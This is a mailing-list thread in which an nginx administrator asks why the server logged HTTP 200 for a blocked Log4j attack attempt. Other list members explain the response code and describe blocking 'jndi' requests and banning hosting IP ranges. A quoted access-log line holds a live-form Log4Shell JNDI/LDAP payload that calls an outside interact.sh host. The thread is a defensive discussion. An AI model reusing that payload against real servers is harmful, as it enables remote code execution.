[EXTERNAL] Help request about Log4j attack attempts and NGINX logs meaning

Wed Dec 29 22:46:28 UTC 2021

Many thanks for sharing with me your experience.
In the next days, I will try to apply your know-how to my particular case.

The HIDS I installed is still blocking the attack attempts, but I have some doubts about the “best practices” needed for the NGINX “200” answer.
Maxim Dounin kindly said that:

"As you can see from the log line, the request is to "/" with some 
additional request arguments ("?sulgz=...").  As unknown request 
arguments are usually ignored, it is no surprise that such a 
request results in 200.”

Now, I only need to understand if I can ignore this event or I should do something else.

Thank you,
Mauro

> On 29 Dec 2021, at 23:13, lists <lists at lazygranch.com> wrote:
> 
> "get" is a html verb also known as method.  Most URL requests are gets. 
> 
> https://www.w3schools.com/tags/ref_httpmethods.asp
> 
> https://nordicapis.com/ultimate-guide-to-all-9-standard-http-methods/
> 
> I just know the bare essentials and have web pages that look like the 90's era other than using a little HTML5. 
> 
> Having never used "parameters" I couldn't completely answer your initial question. The only thing I use after an URL is the # for anchors. 
> 
> I don't know what your relay is doing. However many implementations of nginx simply ban dubious IP space. You can also force a captcha. I use a low CPU power VPS for my sercer so I just ban dubious IP space. Firewalls are very kind to the CPU but use a lot of memory to hold the IP space designation and port information. At a minimum I would block all of AWS. I have about 40k different CIDRs I block. All hosting companies or VPS. 
> 
> The dumb hackers are simply spraying IP space. You will see the same message again and again. They are just bots. 
> 
> I only have two servers (VPS) and only one with web and email so I have the time to find hackers and block IP space. Once you block AWS the amount of hacking drops dramatically. 
> 
> I use nginx maps to search for "jndi" and then 444 the requests. I first made sure "jndi" didn't appear by accident in any pages I created. 
> 
> I have scripts to pull all the IPs for 444 returns from the access logs and feed them to a website to look up who controls the IP space. If it is a server or VPS the entire associated IP space gets banned using bgp.hp.net to find the CIDRs. I do this about every two to three weeks since I have so few hack attempts that get past the firewall. Maybe 200 that get past the blocking and 4 to 6 new servers to add to the list. 
> 
> Log4j has two IPs to investigate so I have to handle them by hand unless I can write a better script to get the return IP address. In two weeks I only had three IPs sending Log4j attacks. 
> 
> If you don't want to create your own list of shady IPs there are services that will feed your server firewall IPs to block in real time. I prefer to have total control. 
> 
> 
> 
> 
> 
>   Original Message  
> 
> 
> From: mauro.tridici at cmcc.it
> Sent: December 29, 2021 10:30 AM
> To: nginx at nginx.org
> Reply-to: nginx at nginx.org
> Subject: Re: [EXTERNAL] Help request about Log4j attack attempts and NGINX logs meaning
> 
> 
> Hi Justin,
> 
> thank you very much for your help.
> Since I’m a newbie, I would like to ask you additional details in order to “fix” this behaviour  (if it shouuld be fixed).
> 
> What is the meaning of “GET /“? Does It mean that the attacker is trying to GET something from the / path of the server (sorry for my stupid question)?
> How can I check and change the current nginx configuration ?
> 
> Thank you in advance,
> Mauro
> 
>> On 29 Dec 2021, at 19:12, Slaughter, Justin D <Justin.Slaughter at charter.com> wrote:
>> 
>> Nginx is returning a 200 because the request is a "GET /", and I am assuming your nginx configurations allow GETs to "/".
>> 
>> Justin
>> 
>> On 29/12/2021, 10:20 AM, "nginx on behalf of Mauro Tridici" <nginx-bounces at nginx.org on behalf of mauro.tridici at cmcc.it> wrote:
>> 
>>     CAUTION: The e-mail below is from an external source. Please exercise caution before opening attachments, clicking links, or following guidance.
>> 
>>     Thank you very much for your reply. I really appreciated it.
>>     I’ll wait for the final gurus feedback too.
>> 
>>     Mauro
>> 
>>> On 29 Dec 2021, at 18:03, lists <lists at lazygranch.com> wrote:
>>> 
>>> That IP space is certified shady. I detect the occasional hack from them. See
>>> 
>>> https://krebsonsecurity.com/2019/08/the-rise-of-bulletproof-residential-networks/
>>> 
>>> and
>>> 
>>> https://wirelessdataspco.org/faq.php
>>> 
>>> These wireless companies will do anything for money including leasing their IP space.
>>> 
>>> I don't block the IP space since it could be from normal users. Plus plenty of hacking comes from actual wireless providers customers. But I am appalled highly profitable wireless providers lease ipv4 space to hackers for what is pocket change for them.
>>> 
>>> I will leave it up to the gurus to parse the log. 
>>> 
>>> 
>>> 
>>> 
>>> 
>>> 
>>>   Original Message 
>>> 
>>> 
>>> From: mauro.tridici at cmcc.it
>>> Sent: December 29, 2021 6:55 AM
>>> To: nginx at nginx.org
>>> Reply-to: nginx at nginx.org
>>> Subject: Help request about Log4j attack attempts and NGINX logs meaning
>>> 
>>> 
>>> 
>>> 
>>> Dear Users,
>>> 
>>> 
>>> I have an old instance of NGINX (v.1.10.1) running as proxy server on a dedicated hardware platform.
>>> Since the proxy service is reachable from internet, it is constantly exposed to cyber attacks.
>>> In my particular case, it is attacked by a lot of Log4j attack attempts from several malicious IPs.
>>> 
>>> 
>>> At this moment, an host intrusion detection system (HIDS) is running and is protecting the NGINX server: it seems it is blocking every malicious attack attempts.
>>> Anyway, during the last attack mail notification sent by the HIDS, I noticed that the NGINX server response was “HTTP/1.1 200” and I’m very worried about it.
>>> Log4j and Java packages are NOT installed on the NGINX server and all the servers behind the proxy are not using Log4j.
>>> 
>>> 
>>> Could you please help me to understand the reason why the NGINX server answer was “HTTP/1.1 200”!?
>>> 
>>> 
>>> You can see below the mail notification I received:
>>> 
>>> 
>>> 
>>> Attack Notification.
>>> 2021 Dec 28 20:45:59
>>> 
>>> Received From: “hidden_NGINX_server_IP” >/var/log/nginx/access.log
>>> Rule: 100205 fired (level 12) -> "Log4j RCE attack attempt detected."
>>> Src IP: 166.137.252.110
>>> Portion of the log(s):
>>> 
>>> 166.137.252.110 - - [28/Dec/2021:21:45:58 +0100] "GET /?sulgz=${jndi:ldap://“hidden_NGINX_server_IP".c75pz6m2vtc0000bnka0gd15xueyyyyyb.interact.sh/a} HTTP/1.1" 200 3700 "-" "curl/7.64.0" “-"
>>> 
>>> 
>>> Thank you in advance,
>>> Mauro
>>> _______________________________________________
>>> nginx mailing list
>>> nginx at nginx.org
>>> http://mailman.nginx.org/mailman/listinfo/nginx
>> 
>> 
>>     _______________________________________________
>>     nginx mailing list
>>     nginx at nginx.org
>>     http://mailman.nginx.org/mailman/listinfo/nginx
>> 
>> E-MAIL CONFIDENTIALITY NOTICE:
>> The contents of this e-mail message and any attachments are intended solely for the addressee(s) and may contain confidential and/or legally privileged information. If you are not the intended recipient of this message or if this message has been addressed to you in error, please immediately alert the sender by reply e-mail and then delete this message and any attachments. If you are not the intended recipient, you are notified that any use, dissemination, distribution, copying, or storage of this message or any attachment is strictly prohibited.
>> _______________________________________________
>> nginx mailing list
>> nginx at nginx.org
>> http://mailman.nginx.org/mailman/listinfo/nginx
> 
> 
> _______________________________________________
> nginx mailing list
> nginx at nginx.org
> http://mailman.nginx.org/mailman/listinfo/nginx
> _______________________________________________
> nginx mailing list
> nginx at nginx.org
> http://mailman.nginx.org/mailman/listinfo/nginx